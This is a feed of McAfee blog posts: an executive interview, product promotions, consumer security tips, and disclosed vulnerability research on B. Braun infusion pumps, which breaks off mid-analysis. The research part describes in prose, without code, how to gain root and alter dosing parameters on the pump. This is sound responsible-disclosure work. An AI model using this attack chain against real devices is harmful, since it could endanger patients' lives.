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Welcome back to our executive blog series, where we’re sitting down with some of the pivotal players behind McAfee Enterprise to hear their takes on today’s security trends, challenges, and opportunities for enterprises across the globe.
Q: Do you have a role model? If so, who is it? |
Well, there are work and there are more personal role models. At work, I have several past and present role models I’ve met across my career that share the same traits. They’re typically great leaders who lead authentically and with a strong sense of purpose and values. For these, I often think when facing a challenge, “What would he or she do?”
Personally, I have many people who have inspired me. A current, topical favorite is Gareth Southgate – manager of the England national football team. He’s not only achieved great success in getting the team to their first final in over 50 years but has challenged the status quo by focusing on young talent and has played a pivotal role as a visible leader in support of diversity.
Q: What’s the most important thing happening in your field at the moment? |
The pandemic, coupled with the ongoing digitization of society, are probably the two most dominant topics in the cyber domain. Ransomware and cyber threats continue to rise in profile, as does cyber security and information assurance in the macro, geo-political sphere. Our purpose has never been greater as leaders in this field.
Q: Will zero trust be a requirement for agencies? |
Yes. Organizations deliver outcomes through partnerships, both at a human and systems level. Implementing mechanisms to ensure trust is increasingly important as these partnerships increasingly digitize in operation. Thinking of zero trust as an architecture and framework matters. Many suppliers articulate zero trust as a feature. It is not. As a true partner, it’s important to consider its role more broadly, to not trust and always verify, not just a virtual choke point (remember, there is no perimeter), but throughout the data journey.
Q: What was your mindset to build your team and establish the right culture to drive success for the new company and continue to strive for new goals in the future? |
In building a team with the culture to drive growth, the most fundamental attributes I seek in every team member is attitude and energy. Those are the power and velocity needed as a foundation. It’s amazing what people can achieve, and how they find ways to do so, with those fundamental ingredients.
When you combine a group of those people with a common goal and assign each a clear role to play, you end up with a phenomenal team. Rather than offering either no parameters, or parameters that are too narrow, you must empower them with a framework in which they can innovate and find ways to win. This is critical – giving them the scope to use their talent for a positive outcome. Listen to them. Hiring great people who push boundaries brings a lot of intellect and creativity. It’s a waste of intelligence if you don’t take the time to learn from them to continuously improve the business.
The post Executive Spotlight: Q&A with EMEA Senior Vice President, Adam Philpott appeared first on McAfee Blog.
As you know, McAfee Enterprise’s MVISION Unified Cloud Edge (UCE) was the first of all the SASE vendors to implement the MITRE ATT&CK Framework for Cloud last year. An important aspect of Gartner’s SASE Framework is the ability for effective Threat Protection and Resolution in the Cloud. MVISION UCE takes this to the next level – the product takes a multi-layered approach to cloud threat investigation that can speed your time to detect adversary activity in your cloud services, identify gaps, and implement targeted changes to your policy and configuration.
As a quick refresher, the MITRE Att&CK Matrix represents the relationship between attacker Tactics and Techniques:
This Dashboard is available within the MVISION Cloud console by accessing the Dashboards > MITRE Dashboard link
Ever since the launch of this truly differentiated product offering, we have seen a tremendous amount of interest and adoption of this feature within our existing customers. Over the past few months, we have continued to make significant enhancements as part of our MITRE Dashboard.
In this post, I shall summarize some of the significant highlights that we have introduced in the past few releases:
The Executive Summary displays an at-a-glance view of the current count of Threats, Anomalies, Incidents, types of incidents, and Detected Techniques with severity.
To suit the needs of the different teams that would be using the MVISION Dashboard, we now have the ability to filter the MITRE Dashboard by using a variety of facets:
When an incident is detected for a technique in MVISION Cloud, a severity is computed. The detected techniques are categorized based on the severity of the incidents. Each detected technique is interactive and leads to more detailed explanations.
To view the details of the detected techniques:
With McAfee Enterprise, threat investigation isn’t just for one environment – it is for all of your environments, from cloud to endpoint to your analytics platforms. With MVISION Cloud, MVISION EDR, and MVISION Insights, your enterprise has an extended detection and response (XDR) platform for the heterogenous attacks you face today.
Want to learn more about how you can leverage MITRE ATT&CK to extend your detection and response capabilities to the cloud?
The post SASE, Cloud Threats and MITRE appeared first on McAfee Blog.
Now more than ever, it’s critical to be mission-ready for the next cyber threat. Our digital-first, post-pandemic world is shifting back to a new normal. But the threats are still here.
And according to many reports, the threats have – and are continuing to – increase. McAfee Enterprise’s Advanced Threat Research recently published a report highlighting some of the biggest cyber stories dominating the year thus far, including recent ransomware attacks. While the topic itself is not new, there is no question that the threat is now truly mainstream. In fact, the June report provides a deep dive into the DarkSide ransomware, which resulted in an agenda item in talks between U.S. President Biden and Russian President Putin.
So how does the DoD approach modern-day threats like this? McAfee Enterprise’s online cyber training program is a great place to start. I’m proud to say the program is complimentary for our DoD partners and provides anywhere from 1-6 Continuing Professional Education (CPE) hours per course. You can login anywhere in the world to access the various trainings. Plus, the digital course are valid for 30 days from your registration date, so you can start and stop at any time. Not surprisingly, the tech industry is seeing a greater acceptance and return on investment from online training programs. Within the DoD for example, the Airforce recently launched Digital University. Airmen are elevating their digital literacy skills with up to 12,000 courses to better serve our country, while discovering new career paths in the process. Everything from leadership and public speaking to cloud computing and cybersecurity are covered, proving this platform may be the future of IT training.
I know the cyber industry that I joined 20+ years ago isn’t the same as it is today. And without access to trainings and CPE courses, my skill set would not be as strong. But if your day is anything like mine, finding time to squeeze in continuing education courses is a challenge. However, after hearing feedback from a long-time DoD partner, I know we’re on to something good. Success stories like these remind me of the importance of staying cyber-resilient in the field.
Don’t forget to reach out to your McAfee Enterprise Account Executive for your unique DoD voucher code!
The post Access Granted: How the DoD Can Stay Cyber-Resilient appeared first on McAfee Blog.
“My phone’s been hacked!” Words you probably don’t want to hear or say. Ever.
Your phone gets to be like an old friend after a while. You have things laid out the way you like, your favorite apps are at the ready, and you have the perfect home screen and wallpaper all loaded up. So, if you unlock your phone one day and notice that something is a little … off, you’ll know pretty quickly. And it could be a sign that your phone may be hacked.
It’s often pretty easy to tell when a piece of your tech isn’t working quite right. The performance is off, things crash, and so on. While there are several cases where there’s a legitimate technical issue behind that, it could also be the sign of a hacked device.
Many hacks and attacks involve the installation of malware on the device, which eats up system resources, creates conflicts with other apps, and uses your data or internet connection to pass along your personal information—all of which can make your smartphone feel a little off.
A few examples follow. Note that these may be signs of a hacked phone, yet not always.
A suddenly sluggish phone or one that simply can’t hold a charge anymore are often attributed to phones that are getting a little old (these things happen). Yet, those same behaviors can also be signs of a compromised phone. For example, malicious bitcoin miners can run in the background and cause all types of performance issues because they eat up battery life and take up resources that your phone could otherwise normally use. In a way, it’s like having a second person using your phone at the same time you are.
Similar to the performance issues mentioned above, malware or mining apps running in the background can burn extra computing power, battery life, and data. Aside from a performance hit, they can cause your phone to physically run hot or even overheat. So if your phone feels like it’s been sitting in the sun, this could be a sign that malware is present.
If you’re seeing more popup ads than usual or seeing them for the first time, it could be a sign that your phone has been hit with adware—a type of malicious app that hackers use to generate revenue by distributing ads without the consent of the user. Furthermore, those ads may be malicious in nature as well (which is a good reminder to never click on them). Such ads may lead to bogus products and services or pages designed to steal personal information. All in all, malicious adware is what hackers prop up to make money off unsuspecting people.
A potential telltale sign that your phone has been hacked is the appearance of new apps that you didn’t download, along with spikes in data usage that you can’t account for. Likewise, if you see calls in your phone bill that you didn’t make, that’s a warning as well.
Big red flag here. Like seeing an unknown charge or payment in your bank statement, this is a possible sign that a hacker has hijacked your phone and is using it to transfer data, make purchases, send messages, or make calls via your phone.
To help keep your phone from getting hacked in the first place, there are a few relatively easy steps you can take. Inside of a few minutes, you can find yourself much safer than you were before.
1. Use comprehensive security software on your phone. Over the years, we’ve gotten into the good habit of using this on our computers and laptops. Our phones? Not so much. Installing security software on your smartphone gives you the first line of defense against attacks, plus several of the additional security features mentioned below.
2. Stay safer on the go with a VPN. One way that crooks can hack their way into your phone is via public Wi-Fi, such as at airports, hotels, and even libraries. These networks are public, meaning that your activities are exposed to others on the network—your banking, your password usage, all of it. One way to make a public network private is with a VPN, which can keep you and all you do protected from others on that Wi-Fi hotspot.
3. Use a password manager. Strong, unique passwords offer another primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one.
4. Avoid public charging stations. Charging up at a public station seems so simple and safe. However, some hackers have been known to “juice jack” by installing malware into the charging station. While you “juice up,” they “jack” your passwords and personal info. So what to do about power on the road? You can look into a portable power pack that you can charge up ahead of time or run on AA batteries. They’re pretty inexpensive and can prevent malware from a public charging station.
5. Keep your eyes on your phone. Preventing the actual theft of your phone is important too, as some hacks happen simply because a phone falls into the wrong hands. This is a good case for password or PIN protecting your phone, as well as turning on device tracking so that you can locate your phone or even wipe it remotely if you need to. Apple provides iOS users with a step-by-step guide for remotely wiping devices and Google offers up a guide for Android users as well.
A phone that’s acting a little funny may indicate a run-of-the-mill tech issue, yet it could also be a tell-tale sign of a hack. At a minimum, following up on your gut instinct that something isn’t quite right can take care of a nagging tech issue. But in the event of a possible hack, it can save you the far greater headache of unauthorized charges and purchases, and even identity theft. If you spot a problem, it absolutely pays to take a closer look. Follow up with tech support for help, whether that’s through your device manufacturer, retailer, or your antivirus providers. They’ll help pinpoint the issue and get you on your way.
The post Help! I Think My Phone’s Been Hacked appeared first on McAfee Blog.
Have you ever come across a website that just didn’t look quite right? Perhaps the company logo looked slightly misshapen, or the font seemed off-brand. Odds are, you landed on a phony version of a legitimate corporation’s website—a tried and true tactic relied on by many cybercriminals.
A fake login page is essentially a knock-off of a real login page used to trick people into entering their login credentials, which hackers can later use to break into online accounts. These websites mirror legitimate pages by using company logos, fonts, formatting, and overall templates. Depending on the attention to detail put in by the hackers behind the imposter website, it can be nearly impossible to distinguish from the real thing. Consequentially, fake login pages can be highly effective in their end goal: credential theft.
How do these pages get in front of a consumer in the first place? Typically, scammers will target unsuspecting recipients with phishing emails spoofing a trusted brand. These emails may state that the user needs to reset their password or entice them with a deal that sounds too good to be true. If the consumer clicks on the link in the email, they will be directed to the fake login page and asked to enter their username and password. Once they submit their information, cybercriminals can use the consumer’s data to conduct credential stuffing attacks and hack their online profiles. This could lead to credit card fraud, data extraction, wire transfers, identity theft, and more.
Scammers have recently targeted Canadians with attacks leveraging fake login pages to harvest personal data. For example, criminals preyed on employees who were expecting COVID-19 relief grants in the form of the CERB (Canada Emergency Response Benefit). These funds were sent via an electronic transfer from Interac, a legitimate Canadian interbank network. However, a phishing campaign spoofing Interac’s e-transfer service circulated emails claiming that the Canada Revenue Agency (CRA) made a CERB deposit of $1,957.50 CAD.
These emails directed recipients to a fake CRA login page, which then redirected to a phony Interac e-transfer site where users were asked to select their personal bank. From there, the recipient was asked to enter their username, card number, password, security questions and answers for their online banking profile, and other personally identifiable information—providing all the information a criminal would need to hack into the user’s bank account.
If you Google “fake login pages,” you will quickly find countless guides on how to create fake websites in seconds. Ethical concerns aside, this demonstrates just how common vector spoofed websites are for cyberattacks. While it has been easier to distinguish between real and fake login pages in the past, criminals are constantly updating their techniques to be more sophisticated, therefore making it more difficult for consumers to recognize their fraudulent schemes.
One reason why fake login pages are so effective is due to inattentional blindness, or failure to notice something that is completely visible because of a lack of attention. One of the most famous studies on inattentional blindness is the “invisible gorilla test.” In this study, participants watched a video of people dressed in black and white shirts passing basketballs. Participants were asked to count the number of times the team in white passed the ball:
Because participants were intently focused on counting the number of times the players in white passed the ball, more than 50% failed to notice the person in the gorilla costume walking through the game. If this is the first time you’ve seen this video, it’s likely that you didn’t notice the gorilla, the curtain changing color from red to gold, or the player in black leaving the game. Similarly, if you come across a well-forged login page and aren’t actively looking for signs of fraud, you could inherently miss a cybercriminal’s “invisible gorilla.” That’s why it’s crucial for even those with phishing training to practice caution when they come across a website asking them to take action or enter personal details.
The most important defense against steering clear of fake login pages is knowing how to recognize them. Follow these tips to help you decipher between a legitimate and a fake website:
Most fake login pages are circulated vis phishing messages. If you receive a suspicious message that asks for personal details, there are a few ways to determine if it was sent by a phisher aiming to steal your identity. Phishers often send messages with a tone of urgency, and they try to inspire extreme emotions such as excitement or fear. If an unsolicited email urges you to “act fast!” slow down and evaluate the situation.
Oftentimes, hackers will use a URL for their spoofed website that is just one character off from the legitimate site, such as using “www.rbcr0yalbank.com” versus “www.rbcroyalbank.com.” Before clicking on any website from an email asking you to act, hover over the link with your cursor. This will allow you to preview the URL and identify any suspicious misspellings or grammatical errors before navigating to a potentially dangerous website.
HTTPS, or Hypertext Transfer Protocol Secure, is a protocol that encrypts your interaction with a website. Typically, websites that begin with HTTPS and feature a padlock in the top left corner are considered safer. However, cybercriminals have more recently developed malware toolkits that leverage HTTPS to hide malware from detection by various security defenses. If the website is secured with HTTPS, ensure that this isn’t the only way you’re analyzing the page for online safety.
Multi-factor authentication requires that users confirm a collection of things to verify their identity—usually something they have, and a factor unique to their physical being—such as a retina or fingerprint scan. This can prevent a cybercriminal from using credential-stuffing tactics (where they will use email and password combinations to hack into online profiles) to access your network or account if your login details were ever exposed during a data breach.
An identity theft alert service warns you about suspicious activity surrounding your personal information, allowing you to jump to action before irreparable damage is done. McAfee Total Protection not only keeps your devices safe from viruses but gives you the added peace of mind that your identity is secure, as well.
The post How to Spot Fake Login Pages appeared first on McAfee Blog.
Cyberattacks on medical centers are one of the most despicable forms of cyber threat there is. For instance, on October 28th, 2020, a cyberattack at the University of Vermont Medical Center in Burlington VT led to 75% of the scheduled chemotherapy patients being turned away. Many of us have friends and loved ones who have had to undergo intensive treatments, and the last thing we want in this situation is for their critical care to be delayed due to on-going cyberattacks. Yet, as concerning as ransom attacks can be, what if the process of receiving the treatment was an even bigger threat than a system-wide ransomware event?
McAfee’s Enterprise Advanced Threat Research team, in partnership with Culinda, have discovered a set of vulnerabilities in B. Braun Infusomat Space Large Volume Pump and the B. Braun SpaceStation.
McAfee Enterprise ATR remotely hacks a B.Braun Infusomat Pump
These critical vulnerabilities could allow an attacker to conduct remote network attacks and modify the amount of medication a patient will receive through infusion. This modification could appear as a device malfunction and be noticed only after a substantial amount of drug has been dispensed to a patient, since the infusion pump displays exactly what was prescribed, all while dispensing potentially lethal doses of medication. This attack scenario is made possible through a chain of known and previously unknown vulnerabilities found by McAfee Enterprise ATR. A critical component of this attack is that the pump’s operating system does not verify who is sending commands or data to it, allowing an attacker to carry out remote attacks undetected. For those looking for a more technical analysis of the vulnerabilities, an in-depth blog can be found here.
From the 1960’s to 2000, infusion pumps were mostly electromechanical devices with an embedded operating system, but the turn of the century delivered “smarter” devices with better safety mechanisms and the possibility to program them, which slowly opened the door to computer security challenges. Today, it is estimated that there are over 200 million IV infusions administered globally each year. The infusion pump market is a clear potential target for attackers. The market is valued at an estimated $54 billion in annual revenue, with 2020 sales of IV pumps in the US at $13.5 billion. IV pumps are inherently trusted to be secure and have over time become the mainstay for efficient and accurate infusion delivery of medication. B. Braun is one of the key market share holders in this rapidly growing market, emphasizing the impact of these vulnerability discoveries.
Industry personnel can be the best source of information for determining impact. Shaun Nordeck, M.D, an Interventional Radiology Resident Physician at a Level 1 Trauma Center, prior Army Medic and Allied Health Professional, with more than 20 years in the medical field, states that: “Major vulnerability findings like the ones reported by McAfee’s Enterprise Advanced Threat Research team are concerning for security and safety minded medical staff. The ability to remotely manipulate medical equipment undetected, with potential for patient harm, is effectively weaponizing these point of care devices. This is a scenario previously only plausible in Hollywood, yet now confirmed to be a real attack vector on a critical piece of equipment we use daily. The ransomware attacks that have targeted our industry rely on vulnerabilities just like these; and is exactly why this research is critical to understanding and thwarting attacks proactively.”
These vulnerabilities were reported to B. Braun beginning in January 2021 through McAfee’s responsible disclosure program. Through ongoing dialog, McAfee Enterprise ATR have learned that the latest version of the pump removes the initial network vector of the attack chain. Despite this, an attacker would simply need another network-based vulnerability and all remaining techniques and vulnerabilities reported could be used to compromise the pumps. Additionally, the vulnerable versions of software are still widely deployed across medical facilities and remain at risk of exploitation. Until a comprehensive suite of patches is produced and effectively adopted by B. Braun customers, we recommend medical facilities actively monitor these threats with special attention, and follow the mitigations and compensating controls provided by B. Braun Medical Inc. in their coordinated vulnerability disclosure documentation.
This concludes a research project which took two senior researchers a significant amount of time to showcase a life-threatening risk of a medical device being taken over by a remote attacker. For the time being, ransomware attacks are a more likely threat in the medical sector, but eventually these networks will be hardened against this type of attack and malicious actors will look for other lower-hanging fruits.
The unfortunate reality is that individuals can’t do much to prevent or mitigate these enterprise-level risks, outside of staying mindful of security issues and maintaining awareness of possible threats. However, the good news is that security researchers continue to propel this industry towards a safer future through responsible disclosure. We strongly encourage vendors to embrace vulnerability research and consumers to demand it. The medical industry has lagged severely behind others in the realm of security for many years – it’s time throw away the digital “band-aids” of slow and reactive patching, and embrace a holistic “cure” through a security-first mindset from the early stages of development, combined with a rapid and effective patch solution.
In May 2021, B. Braun Medical Inc. disclosed information to customers and the Health Information Sharing & Analysis Center (H-ISAC) that addressed the potential vulnerabilities raised in McAfee’s report, which were tied to a small number of devices utilizing older versions of B. Braun software. Our disclosure included clear mitigation steps for impacted customers, including the instructions necessary to receive the patch to eliminate material vulnerabilities.
Braun has not received any reports of exploitation or incidents associated with these vulnerabilities in a customer environment.
The post Overmedicated: Breaking the Security Barrier of a Globally Deployed Infusion Pump appeared first on McAfee Blog.
As part of our continued goal to provide safer products for enterprises and consumers, we at McAfee Advanced Threat Research (ATR) recently investigated the B. Braun Infusomat Space Large Volume Pump along with the B. Braun SpaceStation, which are designed for use in both adult and pediatric medical facilities. This research was done with support from Culinda – a trusted leader in the medical cyber-security space. Though this partnership, our research led us to discover five previously unreported vulnerabilities in the medical system which include:
Together, these vulnerabilities could be used by a malicious actor to modify a pump’s configuration while the pump is in standby mode, resulting in an unexpected dose of medication being delivered to a patient on its next use – all with zero authentication.
Per McAfee’s vulnerability disclosure policy, we reported our initial findings to B. Braun on January 11, 2021. Shortly thereafter, they responded and began an ongoing dialogue with ATR while they worked to adopt the mitigations we outlined in our disclosure report.
This paper is intended to bring an overview and some technical detail of the most critical attack chain along with addressing unique challenges faced by the medical industry. For a brief overview please see our summary blog here.
The most important part of any product assessment is a solid understanding of the purpose and function of the product under test. Without this it is simply too easy for research to produce less than meaningful results. Therefore, for this research it is first important to answer these few simple questions. What are infusion pumps? What security research has already been performed?
To start with the basics using a trusted resource – fda.gov says “An infusion pump is a medical device that delivers fluids, such as nutrients and medications, into a patient’s body in controlled amounts.” The FDA goes on to explain they are typically used by a “trained user who programs the rate and duration”. Infusion pumps can be simple, administering a single intravenous (IV) medication in the home setting, or complex, delivering multiple medications simultaneously in the ICU setting. From the 1960’s to 2000 infusion pumps were mostly electromechanical devices with some embedded electronics, but the turn of the century delivered “smarter” devices with better safety mechanisms and the possibility to program them, which slowly opened the door to information security challenges. Cross referencing the specific product we have chosen to look at, the Infusomat® Space® Large Volume Pump (Figure 1), we see that this pump is meant only for a medical setting and not designed for a home user. Infusion pumps exist mostly to remove the need to perform manual infusion, which requires dose conversion into drops per minute and visually counting drops to set a rate which is both time consuming and unreliable. It is estimated that there are over 200 million IV infusions administered globally each year, and 2020 sales of IV pumps in the US were at $13.5 billion. Clearly infusion pumps have cemented their place in the medical world.
Figure 1: B. Braun Infusomat Pump
Since infusion pumps are such a large part of the medical field and there are several different types, it is reasonable to expect our team is not the first to inquire about their security. As expected, there have been many different research projects on infusion pumps over the years. Perhaps the most well-known research was presented in 2018 at Blackhat by Billy Rios and Johnathan Butts. The infusion pump portion of their research was focused on the Medtronic insulin pumps. They found they were able to remotely dose a patient with extra insulin due to cleartext traffic and the ability to issue a replay attack. Even earlier, in 2015 research was published on the Hospira Symbiq Infusion Pump showing that it was possible to modify drug library files and raise dose limits through “unanticipated operations”, although authentication was required.
Of course, for our purpose, the most important question remains – is there any previous research performed on our specific device. Initially the answer was no; however, during our research project a very large study, ManiMed, was released under the aegis of German authorities to examine the security of network-connected medical devices produced or in use in their country. This included research done on the B. Braun Infusomat pump. This is a fantastic piece of work which covers many network-connected devices. We will reference this study and talk about their findings where appropriate throughout this document, as we additionally explore our enhancements to this research and demonstrate a new attack that was previously called impossible.
If we consider the Background section earlier, it becomes apparent there is still a large amount of critical research to be performed in this space. Infusion pumps are a prominent and continuously developing area within the medical device space, where previous research has only scratched the surface. Due to the potential critical impact and the state of medical device security, many previous projects didn’t need to dig very deep to find security issues or concerns. The infusion pump industry has numerous devices which have not been researched publicly at all, and even more that only received a cursory analysis from the information security community. For these reasons, we decided to have an in-depth look at one of the largest infusion pumps vendors, B. Braun, and specifically focus on one of their devices used worldwide to analyze it at a depth never seen before. Tackling every aspect of this pump, we wanted to answer the basic question: In a realistic scenario, leveraging original security vulnerabilities, could a malicious attacker impact human life?
For this research project our system consisted of three main components– a B. Braun Infusomat Large Volume Pump Model 871305U (the actual infusion pump), a SpaceStation Model 8713142U (a docking station holding up to 4 pumps) and a software component called SpaceCom version 012U000050. These models and the corresponding software for the B. Braun Infusomat system were released in 2017. In industries such as consumer electronics, this would be considered obsolete and therefore less relevant to research. However, as discussed above, in the medical field this is simply not the case. Since older devices are still widely used and perhaps originally developed with a less emphasis on security, it increases the importance of investigating them. For due diligence, we consulted and confirmed with our industry partners that this specific model was still actively being used in hospital systems across the country.
SpaceCom is an embedded Linux system that can run either on the pump from within its smart-battery pack or from inside the SpaceStation. However, when the pump is plugged into the SpaceStation, the pump’s SpaceCom gets disabled. We performed most of our research with the pump attached to the SpaceStation as we found this was the most common use case. If a SpaceStation was compromised, it could potentially affect multiple pumps at once. SpaceCom acts as the external communication module for the system and is separated from the pump’s internal operations, regardless of where it is running from.
If we consider the pump attached to the SpaceStation as one system, it has three separate operating systems running on three distinct chipsets. SpaceCom running on the SpaceStation runs a standard version of Linux on a PowerPC chipset. The WIFI module for the SpaceStation also runs a standard version of Linux on an ARM chipset and communicates over a PCI bus with SpaceCom. Lastly, the pump runs its own custom Real Time Operating System (RTOS) and firmware on a M32C microcontroller. An additional microcontroller is used to monitor the M32C microcontroller, but this goes beyond the scope of our research. Due to this modular and isolated design, the Spacecom communication module and the pump need a dedicated path for exchanging data. This is resolved via a CAN bus, shared throughout the SpaceStation, where it allows pumps and accessories to communicate with each other. This is what SpaceCom and any pump docked into the Space Station rely on for their exchange. An architecture diagram below helps demonstrates the system layout and design when a pump is present in the docking station.
Figure 2: System Architecture
SpaceCom contains many different pieces of propriety software and applications to support the many functions of the larger B. Braun and medical facility ecosystem. Our team spent time analyzing each one in great detail; however, for the purpose of this paper we will only touch on key components which are important to the most critical findings mention in the opening summary.
An important function of SpaceCom is to be able to update the drug library and pump configuration stored on the pump. The drug library contains information such as ward and department, a list of pre-configured drugs with their default concentrations, information messages to be printed on the screen when selected, and more importantly, soft, and hard limits to prevent medication error. One of the biggest selling points of the smart infusion pumps is their ability to prevent incorrect dosing of drugs, which is partly done through the limits in the drug library. Another risk the drug library helps mitigate is human error. By having the most common dosage and infusion lengths preprogrammed into the pump, it eliminates errors associated with rate calculations, and drop counting previously mentioned, associated with manual infusion therapy.
The pump RTOS contains a database of over 1500 key/value pairs used during operation. This data consists of everything from status about current components, battery life, motor speed, alarms and values used for tube calibration. As such, this data would be considered extremely sensitive in the context of the pump’s operation and is not intended to have direct user interaction, nor is it presented to the user. A subset of the keys can be indirectly modified via a dedicated servicing software by certified technicians.
To interact with both the drug library and pump configuration on the pump from SpaceCom, a propriety binary called PCS is used. The PCS binary uses the canon binary to interface with the CAN bus to send commands to the pump’s system for both reading and writing values based on the drug library or pump configuration provided to it. The main interface to accomplish this task is via a propriety TCP networking protocol, which by default is sent over port 1500. This protocol is both unauthenticated and unencrypted and we relied heavily on these weaknesses for our research and attacks. Additionally, this resulted in the filing of CVE-2021-33882 and CVE-2021-33883 as stated in the overview above.
What could be the goal of a malicious attacker? Realistically speaking, most attacks have been proven to be financially motivated. When translating this to our infusion pump, the question becomes: What would medical executives, without hesitation, pay large sums of money for? If we look at recent events, in May of 2021, Colonial Pipeline paid hackers 4.4 million dollars to get their oil pipeline running again from ransomware attacks. Attacks on healthcare settings are increasing with the FBI estimating a cyberattack using “Ryuk” ransomware took in $61 million over a 21-month period in 2018 and 2019. Attacks are now showing potential for patient harm with one example beginning on October 28th, 2020. The University of Vermont Health Network was part of a larger coordinated attack on multiple US healthcare which resulted in a complete loss of their electronic medical record system for weeks. The results of the ransomware-based attack led to 75% of active chemotherapy patients being turned away, rerouting of ambulances, and delays in testing and treatment. Considering IV pumps are directly supporting human life in some cases, it is easy to suggest an attacker could demand any “ransom” amount leveraging threats to actual patients. To accomplish this an attacker would therefore need to control the operation of the pump.
This task is easier said than done when considering the design of the pump as outlined above. The traditional “getting root” on the network component (SpaceCom) proves ineffective. To make any changes to the pump itself, an attacker needs to interact with the pump’s RTOS, which is not network connected. In this section we provide an outline on how we were able to accomplish this goal by using the five reported CVEs.
Even though getting root access on SpaceCom will not provide us everything we need to accomplish the ultimate goal, it is still the first step. During our reconnaissance and enumeration of the system we discovered a remote interface listening at https://{ipaddress}/rpc. This interface was connected to a common open source service referred to as “json-dbus-bridge”. As described on GitHub, this service “is a fast-cgi application that provides access to D-Bus. It accepts JSON-RPC calls and translates these into D-Bus calls. Any response is converted back to JSON and sent to the client.” This piqued our interest since external access to the D-Bus subsystem could provide us access to internal communication, which may have a different level of security than typical external networking.
When doing any type of vulnerability research, product security assessment or evaluation it is critical to not forget to search for existing issues in any third-party components. This is even more important since we are working on a software released in 2017. While scouring GitHub pages for the json-dbus-bridge, we noticed a format string vulnerability that was patched in 2015. Of course, we had to test if the version we encountered had the existing vulnerability.
Figure 3: Format String Vulnerability Testing
The tests in Figure 3 confirmed the existence of the format sting vulnerability. While this format string vulnerability had been publicly discovered in 2015 in the json-dbus-bridge code, the update was never included in B. Braun’s software and hence satisfied the condition for a vendor specific zero-day vulnerability disclosure. This was filed as CVE-2021-33886 and was our first reported discovery to B. Braun. Over the next several weeks we were able to leverage this vulnerability and create a working exploit to gain www user level shell access to the device. Due to the potential impact to unpatched devices, the exact technical details of our exploit have not been included.
Although user access is the first step, root access will be needed in order to interact with the CAN bus to communicate with the actual pump. A good target and well-known process for privilege escalation is to find a binary owned by root with the setuid bit enabled. We could not find one ready to use; however, the web interface has an option to backup and export settings which relies on tarring a folder containing a handful of files and encrypting it with AES using a user-provided password. The backup archive can then be downloaded for later restore of the settings. When restoring this backup, root is the user doing the untarring in such a way that file permissions are being preserved from the provided tar file. Thus, if we can tamper with the archive, we might be able to create a privilege escalation scenario.
To use this to our advantage we need to embed a binary in the backup archive owned by root with the “setuid” bit set so we can use it to elevate privileges. Ironically, the code responsible for the import/export of settings is already doing most of the work for us. The “configExport” binary located on the filesystem is a wrapper to call setuid/setgid (and sanitize inputs) which then calls execve on the script “/configExport/configExport.sh.” We can use a hex editor to change which script the “configExport” binary is running and replace “configExport.sh” with an attacker-controlled script, while also patching out the input sanitizing. We could absolutely have compiled our own binary instead, but this approach saves us from a couple of hours of PPC cross-compiling fun.
While we were working through this component of our attack chain, researchers working on the ManiMed project, in coordination with B. Braun, published a report which included this finding, listed as CVE-2020-16238 on B. Braun’s website. As described in section 4.6.2.2 of their report “An authenticated arbitrary file upload vulnerability combined with an unvalidated symbolic link and local privilege escalations enables attackers to execute commands as the root user.” We commend the ManiMed researchers for also discovering this vulnerability and practicing responsible disclosure.
The real work begins once root access is obtained. The challenge becomes how to affect change on the pump RTOS with root access on the SpaceCom communication module. One common approach would be to continue to look for vulnerabilities in the pump’s RTOS that would lead to code execution within its system. This method poses many challenges during black box testing and could lead to damaging our limited number of test devices.
Another approach which we have leveraged in past projects is hijacking the standard functionality of the device to further the attack. This can be more manageable, but it first requires a deep understanding of how the device works and the desired outcome. This also tests the device’s defense in depth and can prove to be very difficult depending on the security measures in place. In our case, this would force the question of how well-protected the area is surrounding the communication between the pump and SpaceCom.
As mentioned in the system description section above, the PCS binary is responsible for communicating with the pump’s system for two critical operations – updating the drug library and updating the pump config. These are key functions that would likely be of interest to an attacker. There are several different approaches which could be taken by an attacker to interact with these key operations, especially given root access. Considering the various alternatives, we chose to leverage our root access on SpaceCom to inject code into PCS’s memory and use existing functions and objects to communicate with the pump’s internal system.
Our chosen path required a deep understanding of the data structures and functions used to facilitate this communication. The key is to find the perfect place in a larger operation call stack where we can modify or inject the data we want, while still utilizing lower-level functions to avoid the need to unnecessarily create objects and data from scratch. To illustrate this point, consider if we want to send a simple signal to power off the pump from within PCS’s memory space. The fact that all data sent from SpaceCom to the pump’s RTOS is done through CAN messages, with root access meant that we could send CAN messages directly on the CAN bus. This would require an extensive knowledge and breakdown of the CAN message structure as the underlying protocol is designed by B. Braun and would have to be reverse engineered. Although possible, it is very difficult, especially with CAN’s data frame field having a lack of strict specifications. Inside PCS there is a call chain which builds this message. If we were to inject and utilize functions very low in the call chain, such as the trySend function which sends a CAN message (as seen in figure 4) , we would need to understand all of its arguments and the data format it uses. We’d essentially have the same problem as before.
Figure 4: trySend function
If we look higher in the call stack for a function that performs the operation we are interested in, switching off the device, we can instead let the rest of the call chain do the heavy lifting for us. Notice in Figure 5 below there is a function for just this purpose, which only requires one parameter to be passed.
Figure 5: switchOffDevice
Leveraging this concept, we are able to use the functions within PCS in a manner similar to an API to perform read and write operations to the pump’s database and force a change.
If we want to send and write data such as the drug library and pump config, we first need to understand the format of the data, how it is processed and any security measures in place which need to be accounted for. Our team spent extensive time reversing both the drug library and pump configuration data. A portion of the pump configuration is referred to as calibration and disposable data. Both can be modified through our attack chain; however, for this paper we will just touch on the more critical of the two the calibration and disposable data.
The calibration and disposable data are usually seen in the form of files that are living in SpaceCom. At a more granular level, they are a collection of key/value pairs that are meant to be read or written to the pump’s database. Each file can also be a large blob of data living on the pump flash. The physical location of each key within this blob is hardcoded in the pump and sometimes in PCS. This representation is relevant when it comes to computing various CRCs that operate on blobs of data rather than key pairs. These checksums are used heavily throughout the pump’s infrastructure with critical data to ensure the integrity of the data. This goes to ensure the safety of patients by ensuring data can’t be accidently modified or corrupted. Figure 6 shows an example of disposable data as contained in files on SpaceCom.
Figure 6: Disposable Data
Looking at the variable names inside the disposable data file and relevant code in the pump firmware led us to one key/value pair that specifies the “head volume” of the tube, which can be seen in the figure above. After extensive analysis, we determined that “head volume” is the parameter dictating the amount of medication being delivered per cycle to the patient. We determined that if this value was to be changed, it could be potentially harmful. We detail this analysis in section “Unique Consideration for Infusion Pump Hacking” below.
